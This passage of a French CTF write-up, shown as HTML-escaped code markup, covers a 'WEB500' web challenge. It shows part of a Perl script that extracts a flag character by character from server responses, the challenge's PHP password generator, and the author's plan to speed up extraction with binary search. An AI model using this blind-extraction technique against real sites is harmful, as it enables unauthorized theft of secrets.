&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$content&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=~&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;co2&quot; style=&quot;color: #009966; font-style: italic;&quot;&gt;/True/i&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$found&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Flag&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;.=&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$found&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;[*]FLAG: $Flag&lt;span class=&quot;es0&quot; style=&quot;color: #000099; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Arg&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$fh&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;IO&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;&amp;gt; WEB500_data&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;defined&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$fh&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$fh&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Flag&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$fh&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;__END__&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
En effet, hors mis la saleté (j&#39;avais prévenu) on comprend vite que le scope testé est trop grand et surtout qu&#39;un peu de dichotomie ferait sûrement gagner en perf !&lt;br /&gt;
&lt;br /&gt;
Concernant le scope j&#39;ai eu l&#39;idée de relire le code et .. OMG!&lt;br /&gt;
Je pouvait déja bien le réduire (en gardant les specials chars même si j&#39;avais de gros doute sur le fait qu&#39;ils soient présents dans le pass auquel cas on aurait pu relancer le script afin d&#39;avoir un script full lower-case mais bon).&lt;br /&gt;
La fonction de génération du pass était explicite:&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;function&lt;/span&gt;&amp;nbsp;RandomString&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$filename&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;smash.txt&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$f&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$len&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;filesize&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$contents&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;fread&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$f&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$len&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$randstring&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$randstring&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;30&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$t&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$contents&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$len&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;ctype_lower&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$t&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$randstring&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;.=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$t&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$randstring&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
Il s&#39;agirait donc de lettres randomisées formant une chaîne de 30 chars et tout en lower-case!&lt;br /&gt;
Vite, réadaptation du script avec un peu de dichotomie:&lt;br /&gt;
-Gain de temps,&lt;br /&gt;
-Gain de perf énorme&lt;br /&gt;
-Division du nombre de requests faites par 6 !&lt;br /&gt;
&lt;br /&gt;
Voici le code &quot;brut de décoffrage désolé, je n&#39;ai pas pris le temps de faire de la cosmétique et je l&#39;ai dev&#39; dans l&#39;urgence car lh&#39;aure avançait... ( je mettrais un lien en fin d&#39;article pour avoir toutes les ressources pour ceux que ça intéresse):&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
